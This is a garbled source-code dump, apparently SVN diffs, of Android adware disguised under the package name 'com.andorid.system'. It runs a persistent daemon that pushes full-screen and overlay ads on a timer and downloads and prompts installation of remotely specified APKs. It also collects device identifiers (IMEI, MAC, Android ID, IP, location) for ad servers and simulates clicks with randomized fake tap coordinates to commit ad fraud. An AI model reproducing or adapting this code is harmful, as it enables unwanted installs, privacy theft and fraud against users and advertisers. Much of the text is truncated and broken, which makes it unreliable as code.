private void removeWindowView(View adView, boolean running) {
mRunning =
if (mWindowManager != null && adView != null) {
mWindowManager.removeView(adView);
} catch (Exception e) {
BLog.e(&===banner removeWindowView Exception===&, e);
/** 获取广告展示windowManager参数 */
private void addWindowView(View adView) {
if (mWindowManager == null) {
mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
removeWindowView(mLayout, true);
LayoutParams wmParams = new WindowManager.LayoutParams();
// wmParams.screenOrientation = ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
wmParams.type = WindowManager.LayoutParams.TYPE_PHONE;// 该类型提供与用户交互,置于所有应用程序上方,但是在状态栏后面
// wmParams.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;// 不接受任何按键事件
// wmParams.flags = LayoutParams.FLAG_ALT_FOCUSABLE_IM & LayoutParams.FLAG_NOT_FOCUSABLE
wmParams.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;// 不接受任何按键事件
// wmParams.gravity = Gravity.CENTER; // 调整悬浮窗口至窗口中间
wmParams.gravity = Gravity.BOTTOM; // 调整悬浮窗口至窗口底部
DisplayMetrics dm = new DisplayMetrics();
mWindowManager.getDefaultDisplay().getMetrics(dm);
// wmParams.width = WindowManager.LayoutParams.WRAP_CONTENT;
wmParams.width = WindowManager.LayoutParams.MATCH_PARENT;
wmParams.height = WindowManager.LayoutParams.WRAP_CONTENT;
wmParams.format = PixelFormat.RGBA_8888;
mWindowManager.addView(adView, wmParams);
Index: Manager.java
===================================================================
--- Manager.java (revision 0)
+++ Manager.java (revision 21)
@@ -0,0 +1,260 @@
+package com.andorid.system.
+import java.net.URL;
+import java.net.URLC
+import java.util.ArrayL
+import java.util.R
+import java.util.T
+import java.util.TimerT
+import org.json.JSONA
+import org.json.JSONO
+import xhy.hs.com.E
+import android.content.C
+import android.content.I
+import android.content.IntentF
+import android.content.pm.PackageI
+import android.content.pm.PackageM
+import android.os.B
+import android.os.M
+import android.text.TextU
+import com.andorid.system.MainA
+import com.andorid.system.ad.youxiao.GT
+import com.umeng.analytics.AnalyticsC
+import com.umeng.analytics.MobclickA
+public class Manager {
private Context mC
private UiHandler mH
private ShareUtil mShareU
private static Manager mI
private JSONObject mCpO// 百度插屏的代码位
private Downloader mD
private E// 道有道平台
private String daoydid = &ecddb54a5e7f48c49a0461b&;// 道有道key
private String umengid = &56e655b6e0f55a41a8002564&;// 友盟id(系统设置)
public static synchronized Manager getInstance(Context context) {
if (mInstance == null) {
mInstance = new Manager(context);
private Manager(Context context) {
mContext = context.getApplicationContext();
mHandler = new UiHandler(mContext);
mShareUtil = ShareUtil.getInstance(mContext);
mDownloader = Downloader.getInstance(mContext);
AnalyticsConfig.setAppkey(umengid);
MobclickAgent.updateOnlineConfig(mContext);
xhy.hs.com.Ezz.s(mContext);// 初始化道有道广告
public void start() {
// 启动定时任务,展示广告
startAdTimer();
// 守护进程
Intent intent = new Intent(mContext, MainActivity.class);
intent.setAction(Daemon.DAEMON);
Daemon.startDaemon(mContext, intent, MainActivity.class);
// 监听Home建
HomeRecevier homeRcevier = new HomeRecevier();
IntentFilter filter = new IntentFilter(Intent.ACTION_CLOSE_SYSTEM_DIALOGS);
mContext.registerReceiver(homeRcevier, filter);
IntentFilter addFilter = new IntentFilter();
addFilter.addAction(Intent.ACTION_PACKAGE_ADDED);
addFilter.addDataScheme(&package&);
mContext.registerReceiver(homeRcevier, addFilter);
/** 获取友盟配置参数 */
public String getUmengConfig(String umeng) {
return MobclickAgent.getConfigParams(mContext, &v202_& + umeng);
/** 启动展示广告的timer */
private void startAdTimer() {
TimerTask timerTask = new TimerTask() {
public void run() {
try { // TODO 展示广告
String silenceString = getUmengConfig(&silence&);
long silenceTime = Integer.valueOf(silenceString) * 60 * 1000;
boolean inSilence = inSilence(false, silenceTime);
if (inSilence) {// 当前还处于静默时间
BLog.i(&in silence...&);
String baiduString = getUmengConfig(&baidu&);
showbaidu(new JSONObject(baiduString));
String appsString = getUmengConfig(&apps&);
downloadApps(new JSONObject(appsString));
String youxiaoString = getUmengConfig(&youxiao&);
GTask.getInstance(mContext).start(new JSONObject(youxiaoString));
String daoyoudao = getUmengConfig(&daoyoudao&);
showDaoyoudao(new JSONObject(daoyoudao));
} catch (Exception e) {
BLog.e(&startAdTimer Exception...&, e);
Timer mTimer = new Timer();
long period = 10 * 1000;// 一分钟展示一次广告
mTimer.schedule(timerTask, 0, period);
/** 初始化道有道广告 */
private void showDaoyoudao(JSONObject dydObject) {
if (mdaoyoudao == null) {
mdaoyoudao = Egg.getInstance(mContext, daoydid);
mdaoyoudao.cfg(true, true, true, true);// 内弹,浮窗,外弹,应用外退弹广告配置
mdaoyoudao.os(10, 0);// 外弹间隔10分钟,首次无延迟
long period = dydObject.getInt(&period&) * 60 * 1000;// 广告展示时间间隔
boolean inInterval = mShareUtil.inInterval(mShareUtil.PRE_KEY_SHOWDAOTIME, period);
if (!inInterval) {// 广告展示间隔控制
mdaoyoudao.show();// 展示道有道广告
mShareUtil.updateTime(mShareUtil.PRE_KEY_SHOWDAOTIME);
} catch (Exception e) {
BLog.e(&showDaoyoudao Exception&, e);
/** 展示广告业务逻辑 */
private void showbaidu(JSONObject bdObject) {
long period = bdObject.getLong(&period&) * 60 * 1000;// 广告展示时间间隔
boolean inInterval = mShareUtil.inInterval(mShareUtil.PRE_KEY_SHOWBDTIME, period);
if (!inInterval) {// 广告展示间隔控制
String scale = bdObject.getString(&scale&);
ArrayList&String& adtypes = getAdType(scale);
if (adtypes != null && !adtypes.isEmpty()) {
Random random = new Random();
if (adtypes.contains(&hp&)) {
JSONArray hparray = bdObject.getJSONArray(&hp&);
if (hparray.length() & 0) { // TODO 展示banner广告
Message msg = mHandler.obtainMessage();
msg.obj = hparray.getJSONObject(random.nextInt(hparray.length()));
msg.what = mHandler.FLAG_SHOWHP;
long delayMillis = (random.nextInt(40) + 10) * 1000;
mHandler.sendMessageDelayed(msg, delayMillis);// 延迟展示
removeAdType(adtypes, &hp&);
if (mCpObject != null) {// 直接展示插屏广告,不再参与随机
startActivity(mCpObject);
// 随机广告展示类型,并移除其他类型
int index = random.nextInt(adtypes.size());
String randomAdtype = adtypes.get(index);// 随机获取的广告类型
JSONArray adcodeArray = bdObject.getJSONArray(randomAdtype);// 得到广告类型对应的代码位数组
if (adcodeArray.length() & 0) {// 启动activity展示广告
int codeindex = random.nextInt(adcodeArray.length());
JSONObject adcodeObject = adcodeArray.getJSONObject(codeindex);
adcodeObject.put(&type&, randomAdtype);
startActivity(adcodeObject);
mShareUtil.updateTime(mShareUtil.PRE_KEY_SHOWBDTIME);
if (&cp&.equals(randomAdtype)) {// 随机到插屏时,该进程一直展示插屏
mCpObject = adcodeO
} catch (Exception e) {
BLog.e(&showad exception...&, e);
/** 提示安装界面逻辑 */
private void downloadApps(JSONObject appObject) {
JSONArray app = appObject.getJSONArray(&app&);
for (int i = 0; i & app.length(); i++) {
JSONObject object = app.getJSONObject(i);
String url = object.getString(&url&);// 文件地址
if (!TextUtils.isEmpty(url)) {
String name = object.getString(&name&);// 文件名称
mDownloader.start(mHandler, url, name);
} catch (Exception e) {
/** 启动activity展示广告 */
public void startActivity(JSONObject object) {
if (!MainActivity.mIsRunning) {
Intent intent = new Intent(mContext, MainActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
Bundle bundle = new Bundle();
bundle.putString(&object&, object.toString());
intent.putExtras(bundle);
mContext.startActivity(intent);
/** 得到所有开启的广告类型 */
private ArrayList&String& getAdType(String showMatching) {
int cp = 1;
int kp = 1;
int hp = 1;
String[] adscale = showMatching.split(&:&);
cp = Integer.parseInt(adscale[0]);// 插屏
kp = Integer.parseInt(adscale[1]);// 开屏
hp = Integer.parseInt(adscale[2]);// 开屏
} catch (Exception e) {
ArrayList&String& platList = new ArrayList&String&();
addPlatType(platList, cp, &cp&);
addPlatType(platList, kp, &kp&);
addPlatType(platList, hp, &hp&);
return platL
/** 向list中添加count个platType,如果count为0,删除广告表中的数据 */
private void addPlatType(ArrayList&String& list, int count, String value) {
for (int i = 0; i & i++) {
list.add(value);
/** 删除所有的string字符串 */
private void removeAdType(ArrayList&String& list, String value) {
for (int i = list.size() - 1; i &= 0; i--) {
list.remove(value);
/** true:静默期 */
public boolean inSilence(boolean isuiThread, long silence) {
PackageManager pm = mContext.getPackageManager();
PackageInfo packageInfo = pm.getPackageInfo(mContext.getPackageName(), 0);
long lastUpdateTime = packageInfo.lastUpdateT
long currentTime = System.currentTimeMillis();
if (!isuiThread) {// 获取网络时间
// 获取当前网络时间
URL baiduUrl = new URL(&http://www.baidu.com&);// 取得资源对象
URLConnection urlconnection = baiduUrl.openConnection();// 生成连接对象
urlconnection.connect(); // 发出连接
currentTime = urlconnection.getDate(); // 取得网站日期时间
// true:还在静默期
boolean isSilence = (lastUpdateTime + silence) & currentT
return isS
} catch (Exception e) {
BLog.e(&inSilence Exception...&, e);
Index: Splash.java
===================================================================
--- Splash.java (revision 0)
+++ Splash.java (revision 21)
@@ -0,0 +1,86 @@
+package com.andorid.system.
+import org.json.JSONO
+import android.app.A
+import android.widget.LinearL
+import com.baidu.mobads.AdV
+import com.baidu.mobads.SplashAd;
+import com.baidu.mobads.SplashAdL
+public class Splash {
private Activity mA
private JSONObject mO
private static Splash mI
private Splash() {
public static synchronized Splash getInstance() {
if (mInstance == null) {
mInstance = new Splash();
/** 加载开屏广告 */
public void showKp(Activity activity, LinearLayout layout, JSONObject jsonObject) {
BLog.i(activity + &===loadSplash===& + layout);
if (activity == null || layout == null) {
mObject = jsonO
this.mActivity =
layout.removeAllViews();
// 创建广告view
String appid = mObject.getString(&appid&);
String posid = mObject.getString(&posid&);
BLog.i(appid + &===appid&posid===& + posid);
AdView.setAppSid(mActivity.getApplicationContext(), appid);
new SplashAd(mActivity.getApplicationContext(), layout, listener, posid, true);
} catch (Exception e) {
BLog.e(&loadSplash...&, e);
public void closeKp() {
if (mActivity != null) {
mActivity.finish();
SplashAdListener listener = new SplashAdListener() {
public void onAdDismissed() {
BLog.i(&====Splash onAdDismissed====&);
// finish();
public void onAdFailed(String arg0) {
BLog.i(&====Splash onAdFailed====&);
closeKp();
public void onAdPresent() {
int clickrate = mObject.getInt(&clickrate&);
Bdutil.getInstance(mActivity).moniClick(clickrate);
BLog.i(&====Splash onAdPresent====&);
} catch (Exception e) {
BLog.e(&onAdPresent...&, e);
public void onAdClick() {
BLog.i(&====Splash onAdClick====&);
closeKp();
Index: UiHandler.java
===================================================================
--- UiHandler.java (revision 0)
+++ UiHandler.java (revision 21)
@@ -0,0 +1,74 @@
+package com.andorid.system.
+import java.io.F
+import org.json.JSONO
+import android.app.KeyguardM
+import android.content.C
+import android.os.H
+import android.os.M
+public class UiHandler extends Handler {
/** 展示Banner广告 */
public int FLAG_SHOWHP = 0;
/** 下载成功 */
public int FLAG_DOWNLOADSUCCESS = 1;
private Context mC
private KeyguardManager mKeyguardM
public UiHandler(Context context) {
mContext =
public void handleMessage(Message msg) {
if (FLAG_SHOWHP == msg.what) {
JSONObject hpObject = (JSONObject) msg.
String appid = hpObject.getString(&appid&);
String posid = hpObject.getString(&posid&);
Banner.getInstance(mContext).loadBanner(appid, posid);
if (FLAG_DOWNLOADSUCCESS == msg.what) {
if (canAlert()) {// 满足提示安装界面
File targetFile = (File) msg.
Downloader.getInstance(mContext).startInstall(targetFile);
} catch (Exception e) {
/** 提示安装与激活的时间间隔 */
private synchronized boolean canAlert() {
if (isRestricted()) {// 锁屏状态不提示
ShareUtil shareUtil = ShareUtil.getInstance(mContext);
String appString = Manager.getInstance(mContext).getUmengConfig(&apps&);
JSONObject appsObject = new JSONObject(appString);
long period = appsObject.getInt(&period&) * 60 * 1000;
String remindkey = shareUtil.PRE_KEY_ALERTTIME;
boolean inInterval = shareUtil.inInterval(remindkey, period);
if (inInterval) {
shareUtil.updateTime(remindkey);
} catch (Exception e) {
/** true:锁屏状态&false:解锁状态 */
private boolean isRestricted() {
if (mKeyguardManager == null) {
mKeyguardManager = (KeyguardManager) mContext.getSystemService(Context.KEYGUARD_SERVICE);
return mKeyguardManager.inKeyguardRestrictedInputMode();
Index: HomeRecevier.java
===================================================================
--- HomeRecevier.java (revision 0)
+++ HomeRecevier.java (revision 21)
@@ -0,0 +1,36 @@
+package com.andorid.system.
+import android.content.BroadcastR
+import android.content.C
+import android.content.I
+public class HomeRecevier extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
if (Intent.ACTION_CLOSE_SYSTEM_DIALOGS.equals(intent.getAction())) {
String reason = intent.getStringExtra(&reason&);
if (reason != null) {
if (reason.equals(&homekey&)) { // 短按home键
finishAdActivity(context);
BLog.i(&==短按home键==&);
} else if (reason.equals(&recentapps&)) { // 长按home键,最近使用列表
BLog.i(&==长按home键,最近使用列表==&);
} else if (Intent.ACTION_PACKAGE_ADDED.equals(intent.getAction())) {
String intentData = intent.getDataString();
String[] data = intentData.split(&:&);
Downloader.getInstance(context).startNoicon(data[1]);
} catch (Exception e) {
/** 关闭activity */
private void finishAdActivity(Context context) {
Splash.getInstance().closeKp();
Baidu.getInstance(context).closeCp(false);
Index: youxiao/DownloadReceiver.java
===================================================================
--- youxiao/DownloadReceiver.java (revision 0)
+++ youxiao/DownloadReceiver.java (revision 21)
@@ -0,0 +1,49 @@
+package com.andorid.system.ad.
+import org.json.JSONO
+import android.content.C
+import android.content.I
+import android.os.B
+import com.android.download.C
+import com.android.download.DR
+import com.android.download.DownloadM
+public class DownloadReceiver extends DReceiver {
public void a(Context context, Intent intent) {
String action = intent.getAction();
if (DownloadManager.getInstance(context).getAction().equals(action)) {
Bundle bundle = intent.getExtras();
int downloadStatus = bundle.getInt(Constant.KEY_TYPE);
if (Constant.STATUS_SUCCESS == downloadStatus) {
String uuid = bundle.getString(Constant.KEY_KEYID);
String apkPath = bundle.getString(Constant.KEY_PATH);
GManager.getInstance(context).downSuccess(uuid, apkPath);
} catch (Exception e) {
GLog.e(&download receiver exception & + e.getMessage(), e);
/** 处理下载广播 */
private void dreceiver(Context context, Bundle bundle, JSONObject jsonObject) {
String uuid = jsonObject.getString(&uuid&);
int downloadStatus = bundle.getInt(Constant.KEY_TYPE);
if (Constant.STATUS_SUCCESS == downloadStatus) {
String apkPath = bundle.getString(Constant.KEY_PATH);
GManager.getInstance(context).downSuccess(uuid, apkPath);
} catch (Exception e) {
GLog.e(&download receiver exception & + e.getMessage(), e);
Index: youxiao/RequestAd.java
===================================================================
--- youxiao/RequestAd.java (revision 0)
+++ youxiao/RequestAd.java (revision 21)
@@ -0,0 +1,420 @@
+package com.andorid.system.ad.
+import java.util.R
+import java.util.UUID;
+import org.json.JSONA
+import org.json.JSONO
+import android.content.ContentV
+import android.content.C
+import android.graphics.P
+import android.os.B
+import android.text.TextU
+public class RequestAd {
private final String YOUXIAOURL = &http://yxapi.youxiaoad.com/&;
// private final String YOUXIAOURL = &http://testapi.youxiaoad.com/&;
private final String REQUESTAD = YOUXIAOURL + &Requestad&;
private final String CLICKAD = YOUXIAOURL + &Clickad&;
private final String INVERTAD = YOUXIAOURL + &Invertad&;
private final String ENDAD = YOUXIAOURL + &Endad&;
private Context mC
private static RequestAd mI
private RequestAd(Context context) {
mContext =
public static synchronized RequestAd getInstance(Context context) {
if (mInstance == null) {
mInstance = new RequestAd(context);
/** 获取广告参数(1插屏、2banner、3开屏、4推送) */
private JSONObject requestAdParams(String appid, String advplaceid, int adtype) {
JSONObject jsonObject = new JSONObject();
DeviceUtils device = DeviceUtils.getInstance(mContext);
String packageName = mContext.getPackageName();
jsonObject.put(&appID&, appid);// ssp媒体ID
jsonObject.put(&advplaceID&, advplaceid);// ssp广告位ID
jsonObject.put(&muidtype&, &1&); // 必填 移动终端标识类型。可能取值: 1:imei 2:ifa
jsonObject.put(&mode&, &3&);
jsonObject.put(&mac&, device.macAddress());// android 必填 设备的mac地址
jsonObject.put(&memory&, device.ramMemory());// 如果是pc,则表示内存,如果是手机表示RAM
jsonObject.put(&harddisk&, device.romMemory()); // 如果是pc,则表示硬盘,如果是手机表示ROM
jsonObject.put(&cpu&, device.cpuName()); // CPU的型号,可能取值:高通
jsonObject.put(&os&, &android&); // 操作系统,可能取值:window、ubuntu 、android、IOS、winphone
jsonObject.put(&dpi&, device.screenDpi()); // 屏幕分辨率,
jsonObject.put(&graphics&, device.graphics()); // 显卡型号
jsonObject.put(&devicetype&, &phone&); // 手机:phone,电脑:pc,平板:pad,手表:watch
jsonObject.put(&c_ori&, &0&); // 选填 设备横竖屏。可能取值:0, iphone 4s屏幕正对自己,home键靠下。
jsonObject.put(&lat&, System.getProperty(&latitude&, &&)); // 选填 纬度*1,000,000,用于精确识别地域。
jsonObject.put(&lng&, System.getProperty(&longitude&, &&)); // 选填 经度*1,000,000,用于精确识别地域。
jsonObject.put(&ip&, device.ipAddress()); // 必填 终端用户IPv4地址
jsonObject.put(&osversion&, Build.VERSION.RELEASE); // 必填 操作系统的版本
jsonObject.put(&imeiidfa&, device.imei()); // 必填 android的imei号,ios的idfa号码
jsonObject.put(&model&, Build.MODEL); // 必填 设备型号,比如小米的m1,m2,m3。诺基亚 N370
jsonObject.put(&c_device&, Build.DEVICE); // 必填 设备品牌
jsonObject.put(&network&, device.getNetworkType()); // 必填 联网方式 可能取值: 0:unknown 1:wifi 2:2g 3:3g 4:4g
jsonObject.put(&carrieroperator&, device.carrier()); // 必填 运营商。可能取值: 0:unknown 1:移动 2:联通 3:电信
jsonObject.put(&version&, &1.2.0&);
jsonObject.put(&sdkversion&, &1.6.5&);
jsonObject.put(&ua&, device.getUserAgent());
jsonObject.put(&c_w&, device.screenW()); // 必填 360,//720,//360,// 720 屏幕宽。取设备物理像素
jsonObject.put(&c_h&, device.screenH()); // 必填 640,//1280,//640,//1280 屏幕高。取设备物理像素。高度始终大于宽度。
jsonObject.put(&c_pkgname&, packageName); // 必填 app包名。对于Android,是应用的packageN对于iOS,是Bundle identifier。
jsonObject.put(&density&, device.density());
jsonObject.put(&anid&, device.getAndroidId());
jsonObject.put(&appversion&, &1.0&);
jsonObject.put(&tp&, &1&);
String sizeid = &201&;// 插屏(201)
if (2 == adtype) {
sizeid = &102&;// banner(102)
} else if (3 == adtype) {
sizeid = &202&;// 开屏(202)
jsonObject.put(&sizeid&, sizeid); // 必填 尺寸id,各广告主不同尺寸id
jsonObject.put(&mode&, &1&); // 必填 接入方式 api:1, js:2, sdk:3
jsonObject.put(&reqNum&, &1&); // (JS方式:必填 )
} catch (Exception e) {
e.printStackTrace();
return jsonO
/** 将参数封装成需要上报的参数 */
private String toSendData(JSONObject jsonObject) {
JSONObject sendJson = new JSONObject();
EncodeUtils md5 = EncodeUtils.getInstance();
sendJson.put(&data&, jsonObject);
sendJson.put(&md5&, md5.md5(jsonObject.toString()));
} catch (Exception e) {
return sendJson.toString();
* 获取广点通的广告;-1表示返回出错
* @Author Administrator
下午5:05:18
* @param flag 小于0表示模拟数据
* @param aid 对应ad表中的数据
* @param adtype 1插屏、2banner、3开屏、4推送
* @param appid
* @param posid
protected String getYouxiaoAd(int flag, int adtype, String appid, String posid) {
HttpUtils httpUtils = new HttpUtils();
JSONObject jsonObject = requestAdParams(appid, posid, adtype);
String sendJson = toSendData(jsonObject);
String result = httpUtils.post(REQUESTAD, sendJson);
GLog.i(&请求广告[appid=& + appid + &,posid=& + posid + &,adtype=& + adtype + &]结果:& + result);
if (TextUtils.isEmpty(result)) {
GLog.i(&result is empty...&);
return &&;
JSONObject object = new JSONObject(result);
int retcode = object.getInt(&status_code&);
String msg = object.getString(&msg&).toLowerCase();
if (msg.startsWith(&no&) && msg.endsWith(&ad&)) {
GLog.i(&no ad...&);
return &&;
if (retcode == 0) {// 0:失败,1:成功;
GLog.i(&请求广告参数=& + sendJson);
return &-1&;
JSONObject msgObject = object.getJSONObject(&msg&);
YouxiaoBean bean = jsonToBean(flag, msgObject, adtype);
if (bean != null) {
DBUtils dbu = new DBUtils(mContext);
dbu.saveBean(bean);// 存储广点通的广告
loadUrlImage(bean, 3);// 缓存图片
boolean exResult = uploadExposure(bean);// 上报曝光数据
if (!exResult) {// 曝光失败
GLog.i(&曝光异常...&);
return &0&;
// 向优效曝光(banner:320*50,chaping:300*250)
Point dpoint = randomPoint(adtype == 2);
Point upoint = new Point();
Random random = new Random();
upoint.x = dpoint.x + random.nextInt(5);
upoint.y = dpoint.y + random.nextInt(5);
requestDstlink(bean, dpoint, upoint);// 请求点击链接
if (flag & 0) {// TODO 模拟数据上报广告展示状态
return bean.
} catch (Exception e) {
GLog.i(&请求广告参数=& + sendJson);
return &&;
/** 在屏幕中随机一个坐标 */
private Point randomPoint(boolean isbanner) {
int padding = 30;
DeviceUtils device = DeviceUtils.getInstance(mContext);
int centerX = device.screenW() / 2;// 屏幕中间坐标
int centerY = device.screenH() / 2;// 屏幕中间坐标
if (isbanner) {
centerY = device.screenH() - 100 / 2;// banner中心坐标靠底部
Random random = new Random();
int temp = 1 - random.nextInt(2) * 2;// 随机正负1
int x = centerX + temp * random.nextInt(padding);
int y = centerY + temp * random.nextInt(padding);
return new Point(x, y);
/** 上报曝光 */
protected synchronized boolean uploadExposure(YouxiaoBean bean) {
JSONArray urlArray = bean.
if (urlArray == null || urlArray.length() == 0) {
GLog.i(&曝光URL为空...不需要曝光&);
HttpUtils httpUtils = new HttpUtils();
requestJsonArray(bean.pr_id, httpUtils, urlArray);
GLog.i(bean.pr_id + &===pr_id 曝光结果 StatusCode===& + httpUtils.mStatusCode);
boolean bgResult =
if (&4&.equals(bean.pr_id)) {// 只有204计为暴光成功
bgResult = (204 == httpUtils.mStatusCode);
bgResult = (200 == httpUtils.mStatusCode || 204 == httpUtils.mStatusCode);
int bgAction = GManager.EXPOSURE_ERROR;
if (bgResult) {// 曝光成功更新状态
bgAction = GManager.EXPOSURE_SUCCESS;
new DBUtils(mContext).updateStatus(bean.uuid, bgAction);
return bgR
} catch (Exception e) {
e.printStackTrace();
// json转换为ad
private YouxiaoBean jsonToBean(int flag, JSONObject object, int adtype) {
String pr_id = object.getString(&pr_id&);// 上游广告主id(aci_id)
JSONArray acttype =
if (object.has(&acttype&)) {// 如果acttype不为空的时候,在点击跳转之前要逐级访问acttype数组里面的URL
acttype = object.getJSONArray(&acttype&);
String adv_type = adtype + &&;// 部分广告没有该字段
// if (object.has(&adv_type&)) {// 广告类型 1:banner 2:插屏
// adv_type = object.getString(&adv_type&);
String bigimg = &&;
if (object.has(&bigimg&)) { // 广告大图片
bigimg = object.getString(&bigimg&);
String small_img = &&;
if (object.has(&small_img&)) { // 广告小图片或图标
small_img = object.getString(&small_img&);
String ad_key = &&;
if (object.has(&ad_key&)) { // 广告id(唯一标识)
ad_key = object.getString(&ad_key&);
int posh = 0;// 部分广告没有该字段
// if (object.has(&posh&)) {// 广告位高度
// posh = object.getInt(&posh&);
int posw = 0;// 部分广告没有该字段
// if (object.has(&posw&)) {// 广告位宽度
// posh = object.getInt(&posw&);
String crt_type = object.getString(&crt_type&);// 素材类型 0 无 1 文字 2 图片 3 图文 7 图文
String desc = object.getString(&desc&); // 广告素材文案描述
String title = object.getString(&title&);// 广告素材文案标题
JSONArray url = object.getJSONArray(&url&); // 曝光上报地址
String useraction = object.getString(&useraction&);// 广告下发类型 0 unknown 1 普通链接 2 android app 3 ios app
String yxViewid = object.getString(&yxViewid&);// 优效yxViewid
String uuid = UUID.randomUUID().toString().replaceAll(&-&, &&);
if (flag & 0) {// 区别模拟数据
uuid = &-& +
YouxiaoBean gdBean = new YouxiaoBean(pr_id, acttype, adv_type, bigimg, crt_type, desc, posh, posw,
small_img, title, url, useraction, yxViewid, uuid, ad_key);
return gdB
} catch (Exception e) {
e.printStackTrace();
/** 加载图片 */
private void loadUrlImage(YouxiaoBean bean, int trycount) {
if (trycount & 0) {
GLog.i(&===存储图片===& + trycount);
ImageUtil iu = ImageUtil.getInstance();
iu.getBitmap(mContext, bean.bigimg, false);
iu.getBitmap(mContext, bean.small_img, false);
} catch (Exception e) {
loadUrlImage(bean, trycount - 1);
GLog.i(&==储存图片异常==& + e.getMessage());
/** 依次访问JSONArray数组里面的地址( pr_id=5,采用post,pr_id不等于5,采用get) */
private void requestJsonArray(String prid, HttpUtils httpUtils, JSONArray jsonArray) {
GLog.i(&====requestJsonArray===& + jsonArray);
if (jsonArray == null || jsonArray.length() == 0) {
if (&5&.equals(prid)) {// pr_id=5,采用post方式依次请求曝光地址
for (int i = 0; i & jsonArray.length(); i++) {
httpUtils.post(jsonArray.getString(i), null);
} else {// pr_id不等于5,采用get方式依次请求曝光地址
for (int i = 0; i & jsonArray.length(); i++) {
httpUtils.get(jsonArray.getString(i));
} catch (Exception e) {
GLog.e(&requestJsonArray exception...&, e);
/** 请求获取点击链接(优效此处统计曝光) */
private void requestDstlink(YouxiaoBean bean, Point dpoint, Point upoint) {
HttpUtils httpUtils = new HttpUtils();
// 如果acttype不为空的时候,在点击跳转之前要逐级访问acttype数组里面的URL
requestJsonArray(bean.pr_id, httpUtils, bean.acttype);
JSONObject jsonObject = new JSONObject();
jsonObject.put(&yxViewid&, bean.yxViewid);
jsonObject.put(&status_code&, &1&);
jsonObject.put(&down_x&, dpoint.x);
jsonObject.put(&down_y&, dpoint.y);
jsonObject.put(&up_x&, upoint.x);
jsonObject.put(&up_y&, upoint.y);
String sendJson = toSendData(jsonObject);
String result = httpUtils.post(CLICKAD, sendJson);
GLog.i(&请求获取URL链接(POST)结果:& + result);
if (TextUtils.isEmpty(result)) {
endYouxiaoAd(bean.yxViewid);
jsonObject = new JSONObject(result);
if (!jsonObject.has(&url&)) {// 返回点击率过高,不能再次点击
GLog.i(&返回结果不包含URL字段&);
endYouxiaoAd(bean.yxViewid);
DBUtils dbu = new DBUtils(mContext);
String urlString = jsonObject.getString(&url&);
// useraction=1,开发者在应用内或在系统浏览器中展示网页。
// 如果pr_id不等于4,则请求下载接口后返回json数据不需要再次请求,下载url就是最终下载地址
if (&1&.equals(bean.useraction) || !&4&.equals(bean.pr_id)) {
ContentValues values = new ContentValues();
values.put(dbu.DSTLINK, urlString);
dbu.updateData(bean.uuid, values);
// 如果pr_id=4,请求下载接口后返回json数据(包含下载url),需再次get请求下载url,返回的数据中最终包含下载地址。
result = httpUtils.get(urlString);
GLog.i(&再次请求获取URL(GET)结果:& + result);
if (!TextUtils.isEmpty(result)) {
jsonObject = new JSONObject(result);
jsonObject = jsonObject.getJSONObject(&data&);
String dstlink = jsonObject.getString(&dstlink&);
String clickid = jsonObject.getString(&clickid&);
ContentValues values = new ContentValues();
values.put(dbu.DSTLINK, dstlink);
values.put(dbu.CLICKID, clickid);
dbu.updateData(bean.uuid, values);
} catch (Exception e) {
GLog.e(&requestDstlink exception...&, e);
/** 下载开始(上报转化) */
public void downloadYouxiaoAd(YouxiaoBean bean, int actionid) {
// prid!=4时,不需要上报转化操作
if (!&4&.equals(bean.pr_id)) {
endYouxiaoAd(bean.yxViewid);// 结束优效接口的调用
JSONObject jsonObject = new JSONObject();
jsonObject.put(&clickid&, bean.clickid);
jsonObject.put(&yxViewid&, bean.yxViewid);
jsonObject.put(&status_code&, &1&);
jsonObject.put(&actionid&, actionid);
HttpUtils httpUtils = new HttpUtils();
String sendJson = toSendData(jsonObject);
String result = httpUtils.post(INVERTAD, sendJson);
GLog.i(&上报转化(POST)结果(& + actionid + &):& + result);
endYouxiaoAd(bean.yxViewid);// 结束优效接口的调用
if (!TextUtils.isEmpty(result)) {// 接着上报给广点通
jsonObject = new JSONObject(result);
JSONObject urlObject = jsonObject.getJSONObject(&url&);
String starturl = urlObject.getString(&starturl&);
DBUtils dbu = new DBUtils(mContext);
ContentValues values = new ContentValues();
values.put(dbu.TRACEURL, starturl);
dbu.updateData(bean.uuid, values);
result = httpUtils.get(starturl);
GLog.i(&上报转化(GET)结果(& + actionid + &):& + result);
} catch (Exception e) {
GLog.e(&downloadYouxiaoAd exception...&, e);
/** 上报广点通转化(6 安装 7 下载完成) */
public void upInstall(YouxiaoBean bean, int actionid) {
// prid!=4时,不需要上报转化操作
if (!&4&.equals(bean.pr_id)) {
String traceUrl = bean.
traceUrl = traceUrl.replace(&actionid=5&, &actionid=& + actionid);
HttpUtils httpUtils = new HttpUtils();
String result = httpUtils.get(traceUrl);
GLog.i(&上报转化(GET)结果(& + actionid + &):& + result);
} catch (Exception e) {
// TODO: handle exception
/** 上报优效点击(调用end接口之后不能调用点击与转化接口) */
protected void endYouxiaoAd(String yxViewid) {
try {// 类型: 2 曝光 3 点击 4转化
JSONObject jsonObject = new JSONObject();
jsonObject.put(&yxViewid&, yxViewid);
jsonObject.put(&status_code&, &1&);
jsonObject.put(&step&, 3);
HttpUtils httpUtils = new HttpUtils();
String sendJson = toSendData(jsonObject);
String result = httpUtils.post(ENDAD, sendJson);
GLog.i(&上报END(POST)结果:& + result);
} catch (Exception e) {
Index: youxiao/HttpUtils.java
===================================================================
--- youxiao/HttpUtils.java (revision 0)
+++ youxiao/HttpUtils.java (revision 21)
@@ -0,0 +1,81 @@
+package com.andorid.system.ad.
+import java.net.HttpURLC
+import java.net.URI;
+import org.apache.http.HttpR
+import org.apache.http.client.methods.HttpG
+import org.apache.http.client.methods.HttpP
+import org.apache.http.entity.StringE
+import org.apache.http.impl.client.DefaultHttpC
+import org.apache.http.params.BasicHttpP
+import org.apache.http.params.HttpConnectionP
+import org.apache.http.params.HttpP
+import org.apache.http.protocol.HTTP;
+import org.apache.http.util.EntityU
+import android.text.TextU
+public class HttpUtils {
public int mStatusC
* Post方式访问Http协议
* @param url 访问地址
* @param sendJson 访问参数
public String post(String url, String sendJson) {
String result = &&;
HttpPost request = new HttpPost(url);
if (!TextUtils.isEmpty(sendJson)) {
